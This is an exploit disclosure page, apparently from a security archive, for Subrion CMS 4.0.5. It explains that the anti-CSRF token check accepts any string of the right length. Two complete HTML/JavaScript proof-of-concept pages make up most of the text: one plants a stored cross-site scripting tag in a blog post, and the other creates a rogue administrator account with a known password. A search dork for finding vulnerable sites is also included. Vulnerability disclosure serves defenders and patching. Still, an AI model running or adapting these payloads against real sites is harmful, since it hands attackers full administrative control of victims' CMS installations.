what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Subrion CMS 4.0.5 Cross Site Request Forgery / Cross Site Scripting

Subrion CMS 4.0.5 Cross Site Request Forgery / Cross Site Scripting
Posted Oct 15, 2016
Authored by Ahsan Tahir

Subrion CMS version 4.0.5 suffers from cross site request forgery and cross site scripting vulnerabilities.

tags | exploit, vulnerability, xss, csrf
SHA-256 | 3c38b6550597e20b0734051a564e4353d3955f79f2bf88e76da27b31cc2e8b3e

Subrion CMS 4.0.5 Cross Site Request Forgery / Cross Site Scripting

Change Mirror Download
# Exploit Title: Subrion CMS 4.0.5 - CSRF Bypass to Persistent XSS and Add-Admin
# Date: 15-10-2016
# Software Link: http://www.subrion.org/download/
# Vendor: http://www.subrion.org
# Google Dork: "Powered by Subrion CMS"
# Exploit Author: Ahsan Tahir
# Contact: https://twitter.com/AhsanTahirAT | https://facebook.com/ahsantahiratofficial
# Website: www.ahsantahir.net
# Category: webapps
# Version: 4.0.5
# Tested on: [Kali Linux 2.0 | Windows 8.1]
# Email: mrahsan1337@gmail.com

[+] CSRF bypass to Persistent XSS

1. Description

There was an Anti-CSRF token while adding a post in Subrion CMS v4.0.5, named with paramater '__st', but it can be bypassed if we enter
the same number of characters in the CSRF token (for e.g XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX), then the CSRF protection will be bypassed
means, if we craft a malicious HTML web page, we can trick the admin/vicitm to visit a website, and after he/she visits the website,
a blog post will be created with a tag like this: "</title><script>alert(document.domain);</script>" and now the XSS can be executed
here: http://localhost/[SubrionPATH]/tag/title-script-alert-document-domain-script/

2. Proof of Concept (CSRF to Persistent XSS)

Login to your subrion CMS as admin, visit a webpage with the below HTML code, and click on submit request, a new post named
"Hacked by Ahsan" will be created, with a tag "</title><script>alert(document.domain);</script>", means that we exploited
CSRF sucessfully!

XSS will execute here: http://localhost/[SubrionPATH]/tag/title-script-alert-document-domain-script/

[!] PoC Code:

<html>
<!-- CSRF PoC -->
<body>
<script>
function submitRequest()
{
var xhr = new XMLHttpRequest();
xhr.open("POST", "http://localhost/subirion/admin/blog/add/", true);
xhr.setRequestHeader("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8");
xhr.setRequestHeader("Accept-Language", "en-US,en;q=0.5");
xhr.setRequestHeader("Content-Type", "multipart/form-data; boundary=---------------------------292766351574");
xhr.withCredentials = true;
var body = "-----------------------------292766351574\r\n" +
"Content-Disposition: form-data; name=\"__st\"\r\n" +
"\r\n" +
"XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX\r\n" +
"-----------------------------292766351574\r\n" +
"Content-Disposition: form-data; name=\"title\"\r\n" +
"\r\n" +
"Hacked by Ahsan Tahir\r\n" +
"-----------------------------292766351574\r\n" +
"Content-Disposition: form-data; name=\"alias\"\r\n" +
"\r\n" +
"\r\n" +
"-----------------------------292766351574\r\n" +
"Content-Disposition: form-data; name=\"body\"\r\n" +
"\r\n" +
"\x3cp\x3eHacked by Ahsan Tahir\x3c/p\x3e\r\n" +
"\r\n" +
"-----------------------------292766351574\r\n" +
"Content-Disposition: form-data; name=\"tags\"\r\n" +
"\r\n" +
"\x3c/title\x3e\x3cscript\x3ealert(document.domain);\x3c/script\x3e\r\n" +
"-----------------------------292766351574\r\n" +
"Content-Disposition: form-data; name=\"v[image]\"\r\n" +
"\r\n" +
"\r\n" +
"-----------------------------292766351574\r\n" +
"Content-Disposition: form-data; name=\"image\"; filename=\"\"\r\n" +
"Content-Type: application/octet-stream\r\n" +
"\r\n" +
"\r\n" +
"-----------------------------292766351574\r\n" +
"Content-Disposition: form-data; name=\"owner\"\r\n" +
"\r\n" +
"Administrator (emailofadmin@gmail.com)\r\n" +
"-----------------------------292766351574\r\n" +
"Content-Disposition: form-data; name=\"member_id\"\r\n" +
"\r\n" +
"1\r\n" +
"-----------------------------292766351574\r\n" +
"Content-Disposition: form-data; name=\"date_added\"\r\n" +
"\r\n" +
"2016-10-15 04:41\r\n" +
"-----------------------------292766351574\r\n" +
"Content-Disposition: form-data; name=\"status\"\r\n" +
"\r\n" +
"active\r\n" +
"-----------------------------292766351574\r\n" +
"Content-Disposition: form-data; name=\"save\"\r\n" +
"\r\n" +
"Add\r\n" +
"-----------------------------292766351574\r\n" +
"Content-Disposition: form-data; name=\"goto\"\r\n" +
"\r\n" +
"list\r\n" +
"-----------------------------292766351574--\r\n";
var aBody = new Uint8Array(body.length);
for (var i = 0; i < aBody.length; i++)
aBody[i] = body.charCodeAt(i);
xhr.send(new Blob([aBody]));
}
</script>
<form action="#">
<input type="button" value="Submit request" onclick="submitRequest();" />
</form>
</body>
</html>

----------------------------------------------------------------------------------------------------------------------

[+] Add-Admin CSRF

1. Description

There was an Anti-CSRF token while adding an admin in Subrion CMS v4.0.5, named with paramater '__st', but it can be bypassed if we enter
the same number of characters in the CSRF token (for e.g XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX), then the CSRF protection will be bypassed
means, if we craft a malicious HTML web page, we can trick the admin/vicitm to visit a website, and after he/she visits the website,
a new admin will be created with an email which is controled by attacker, means now the attacker have full administration over the
Subrion CMS Blog!

2. Proof of Concept

Login to your subrion CMS as admin, visit a webpage with the below HTML code, and click on submit request, a new admin named
"Haxor" will be created, with email "ahsan@ahsan.py", means that we exploited the CSRF sucessfully, and now the attacker
has full control over the subrion blog!

[!] PoC Code:

<html>
<!-- CSRF PoC -->
<body>
<script>
function submitRequest()
{
var xhr = new XMLHttpRequest();
xhr.open("POST", "http://localhost/subrion/admin/members/add/", true);
xhr.setRequestHeader("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8");
xhr.setRequestHeader("Accept-Language", "en-US,en;q=0.5");
xhr.setRequestHeader("Content-Type", "multipart/form-data; boundary=---------------------------2573679013209");
xhr.withCredentials = true;
var body = "-----------------------------2573679013209\r\n" +
"Content-Disposition: form-data; name=\"__st\"\r\n" +
"\r\n" +
"XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX\r\n" +
"-----------------------------2573679013209\r\n" +
"Content-Disposition: form-data; name=\"username\"\r\n" +
"\r\n" +
"haxor\r\n" +
"-----------------------------2573679013209\r\n" +
"Content-Disposition: form-data; name=\"fullname\"\r\n" +
"\r\n" +
"Craxor\r\n" +
"-----------------------------2573679013209\r\n" +
"Content-Disposition: form-data; name=\"email\"\r\n" +
"\r\n" +
"ahsan@ahsan.py\r\n" +
"-----------------------------2573679013209\r\n" +
"Content-Disposition: form-data; name=\"_password\"\r\n" +
"\r\n" +
"ahsan123\r\n" +
"-----------------------------2573679013209\r\n" +
"Content-Disposition: form-data; name=\"_password2\"\r\n" +
"\r\n" +
"ahsan123\r\n" +
"-----------------------------2573679013209\r\n" +
"Content-Disposition: form-data; name=\"usergroup_id\"\r\n" +
"\r\n" +
"1\r\n" +
"-----------------------------2573679013209\r\n" +
"Content-Disposition: form-data; name=\"v[avatar[]]\"\r\n" +
"\r\n" +
"\r\n" +
"-----------------------------2573679013209\r\n" +
"Content-Disposition: form-data; name=\"avatar[]\"; filename=\"\"\r\n" +
"Content-Type: application/octet-stream\r\n" +
"\r\n" +
"\r\n" +
"-----------------------------2573679013209\r\n" +
"Content-Disposition: form-data; name=\"website\"\r\n" +
"\r\n" +
"\r\n" +
"-----------------------------2573679013209\r\n" +
"Content-Disposition: form-data; name=\"phone\"\r\n" +
"\r\n" +
"\r\n" +
"-----------------------------2573679013209\r\n" +
"Content-Disposition: form-data; name=\"biography\"\r\n" +
"\r\n" +
"\r\n" +
"-----------------------------2573679013209\r\n" +
"Content-Disposition: form-data; name=\"facebook\"\r\n" +
"\r\n" +
"\r\n" +
"-----------------------------2573679013209\r\n" +
"Content-Disposition: form-data; name=\"twitter\"\r\n" +
"\r\n" +
"\r\n" +
"-----------------------------2573679013209\r\n" +
"Content-Disposition: form-data; name=\"gplus\"\r\n" +
"\r\n" +
"\r\n" +
"-----------------------------2573679013209\r\n" +
"Content-Disposition: form-data; name=\"linkedin\"\r\n" +
"\r\n" +
"\r\n" +
"-----------------------------2573679013209\r\n" +
"Content-Disposition: form-data; name=\"sponsored\"\r\n" +
"\r\n" +
"0\r\n" +
"-----------------------------2573679013209\r\n" +
"Content-Disposition: form-data; name=\"featured\"\r\n" +
"\r\n" +
"0\r\n" +
"-----------------------------2573679013209\r\n" +
"Content-Disposition: form-data; name=\"featured_end\"\r\n" +
"\r\n" +
"2016-11-15 04:54\r\n" +
"-----------------------------2573679013209\r\n" +
"Content-Disposition: form-data; name=\"status\"\r\n" +
"\r\n" +
"active\r\n" +
"-----------------------------2573679013209\r\n" +
"Content-Disposition: form-data; name=\"save\"\r\n" +
"\r\n" +
"Add\r\n" +
"-----------------------------2573679013209\r\n" +
"Content-Disposition: form-data; name=\"goto\"\r\n" +
"\r\n" +
"list\r\n" +
"-----------------------------2573679013209--\r\n";
var aBody = new Uint8Array(body.length);
for (var i = 0; i < aBody.length; i++)
aBody[i] = body.charCodeAt(i);
xhr.send(new Blob([aBody]));
}
</script>
<form action="#">
<input type="button" value="Submit request" onclick="submitRequest();" />
</form>
</body>
</html>

Credits & Authors:
==================
Ahsan Tahir - [https://twitter.com/AhsanTahirAT]
Login or Register to add favorites

File Archive:

March 2023

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Mar 1st
    16 Files
  • 2
    Mar 2nd
    13 Files
  • 3
    Mar 3rd
    15 Files
  • 4
    Mar 4th
    0 Files
  • 5
    Mar 5th
    0 Files
  • 6
    Mar 6th
    16 Files
  • 7
    Mar 7th
    31 Files
  • 8
    Mar 8th
    16 Files
  • 9
    Mar 9th
    13 Files
  • 10
    Mar 10th
    9 Files
  • 11
    Mar 11th
    0 Files
  • 12
    Mar 12th
    0 Files
  • 13
    Mar 13th
    10 Files
  • 14
    Mar 14th
    6 Files
  • 15
    Mar 15th
    17 Files
  • 16
    Mar 16th
    22 Files
  • 17
    Mar 17th
    13 Files
  • 18
    Mar 18th
    0 Files
  • 19
    Mar 19th
    0 Files
  • 20
    Mar 20th
    16 Files
  • 21
    Mar 21st
    13 Files
  • 22
    Mar 22nd
    5 Files
  • 23
    Mar 23rd
    6 Files
  • 24
    Mar 24th
    47 Files
  • 25
    Mar 25th
    0 Files
  • 26
    Mar 26th
    0 Files
  • 27
    Mar 27th
    50 Files
  • 28
    Mar 28th
    42 Files
  • 29
    Mar 29th
    7 Files
  • 30
    Mar 30th
    0 Files
  • 31
    Mar 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close